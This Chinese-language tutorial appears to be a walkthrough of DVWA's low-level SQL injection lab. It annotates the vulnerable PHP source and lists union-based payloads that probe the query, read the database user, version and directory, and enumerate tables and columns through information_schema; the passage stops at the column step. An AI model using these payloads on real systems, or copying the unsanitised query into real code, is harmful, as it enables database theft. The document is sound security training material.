DVWA-SQL Injection(SQL注入)
sql注入是典型、常見的Web漏洞之一,現在在網路中也可能存在,不過大多數為SQL盲注
。
攻擊者通過惡意的SQL語句來破壞SQL查詢語句,達到資料庫洩露的目的
LOW
審計原始碼
<?php // 判斷是否提交 if( isset( $_REQUEST[ 'Submit' ] ) ) { // 獲取傳入的 id $id = $_REQUEST[ 'id' ]; // switch case 語句,類似於if elif else語句 // 判斷資料庫型別 switch ($_DVWA['SQLI_DB']) { // mysql資料庫 case MYSQL: // 定義sql語句 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // 進行資料庫查詢 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 從結果集中取得一行作為關聯陣列 while( $row = mysqli_fetch_assoc( $result ) ) { // 獲取 first_name 和 last_name 欄位內容 $first = $row["first_name"]; $last = $row["last_name"]; // 列印使用者資訊 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); break; // sqlite資料庫 case SQLITE: global $sqlite_db_connection; #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']); #$sqlite_db_connection->enableExceptions(true); $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>
通過觀察,只是判斷了伺服器的資料庫,沒有對我們傳入的ID進行一些過濾,可以直接進行SQL注入
union 聯合查詢注入
判斷注入型別
使用1
或者1a
來進行判斷,如果是數字型別,1a
就會報錯http://172.19.31.9/dvwa/vulnerabilities/sqli/?id=1a&Submit=Submit#
1a
正常執行,可以看出是字元型的,需要我們輸入'
進行閉合
構造閉合id=1'#
正常回顯
order by 判斷欄位數
1' order by 1#
正常執行
在輸入1' order by 3#
時,進行了報錯
那麼就是有兩個欄位數
union select 1,2查看回顯欄位
1' union select 1,2 #
這裡成功回顯了我們
select 1,2
的值,也顯示了上一個註釋的語句的輸出,可以輸入-1' union select 1,2 #
,-1讓前面的語句報錯,只顯示了後面的查詢內容database()獲取當前資料庫
-1' union select user(),version()#
回顯了當前資料庫的使用者、資料庫版本號
再次使用database()、@@datadir
,獲取資料庫目錄和當前資料庫名-1' union select @@datadir,database()#
得到當前資料庫名為dvwa
獲取dvwa資料庫中的表
-1' union select table_name,2 from information_schema.tables where table_schema=database()#
發現報錯,這裡是欄位列的編碼格式不一樣,只需要把
table_name
用hex()
函式包裹起來,因為mysql
是認識十六進位制的-1' union select hex(table_name),2 from information_schema.tables where table_schema=database()#
在
First name
列中,顯示了兩次的資料,代表有兩個資料庫,將其中的十六進位制解碼得到使用
HackBar
解碼後得到6775657374626F6F6B
的值為guestbook
,另一個是users
有時候其他的靶場只能回顯一段資料,不像現在一樣回顯兩段資料,可以使用
group_concat
,將每行的資料使用,
隔開進行顯示-1' union select group_concat(hex(table_name)),2 from information_schema.tables where table_schema=database()#
這樣就顯示了一段資料
獲取users表中的欄位名
-1' union select column_name,2 from information_schema.columns where table_schema=database() and table_name=0x7573657273#
查詢資料庫中欄位的名稱,where
用篩選到dvwa
資料庫中的users
表,database()執行轉換為dvwa
,mysql可以讀取十六進位制,0x7573657273
為users
查詢報錯